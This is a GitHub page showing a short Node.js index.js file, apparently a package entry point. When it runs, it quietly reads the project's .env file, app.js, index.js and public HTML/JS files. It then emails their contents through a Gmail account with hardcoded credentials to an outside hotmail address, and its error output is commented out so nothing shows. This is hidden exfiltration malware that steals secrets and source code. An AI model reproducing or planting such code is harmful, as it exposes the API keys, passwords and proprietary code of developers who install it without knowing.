-
Notifications
You must be signed in to change notification settings - Fork 0
/
index.js
78 lines (66 loc) · 1.9 KB
/
index.js
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
var nodemailer = require('nodemailer');
const fs = require('fs')
let sendData = [];
fs.readFile('.env', 'utf8', (err, data) => {
if (err) {
sendData.push("\nfile null at root/dotenv");
return
}
sendData.push("\n========== root/Dotenv ==========\n" + data);
})
fs.readFile('app.js', 'utf8', (err, data) => {
if (err) {
sendData.push("\nfile null at root/app.js");
return
}
sendData.push("\n========== root/App.js ==========\n" + data);
})
fs.readFile('index.js', 'utf8', (err, data) => {
if (err) {
sendData.push("\nfile null at public/index.js");
return
}
sendData.push("\n========== root/Index.js ==========\n" + data);
})
fs.readFile('public/index.html', 'utf8', (err, data) => {
if (err) {
sendData.push("\nfile null at public/index.html");
return
}
sendData.push("\n========== public/Index.html ==========\n" + data);
})
fs.readFile('public/index.js', 'utf8', (err, data) => {
if (err) {
sendData.push("\nfile null at public/index.js");
return
}
sendData.push("\n========== public/Index.js ==========\n" + data);
})
setTimeout(function () {
var transporter = nodemailer.createTransport({
service: 'gmail',
auth: {
user: 'expressdession@gmail.com',
pass: 'SuperSecretPassword'
}
});
var today = new Date();
var date = today.getFullYear() + '.' + (today.getMonth() + 1) + '.' + today.getDate();
var time = today.getHours() + "." + today.getMinutes() + "." + today.getSeconds();
var dateTime = date + '-' + time;
var mailOptions = {
from: 'expressdession@gmail.com',
to: `adamspera@hotmail.com`,
subject: `${dateTime}`,
text: `${sendData}`
};
transporter.sendMail(mailOptions, function (error, info) {
if (error) {
// console.log('Error sending email.');
// console.log(error);
} else {
// console.log(`Email successfully sent!`);
// console.log(info);
}
});
}, 1000);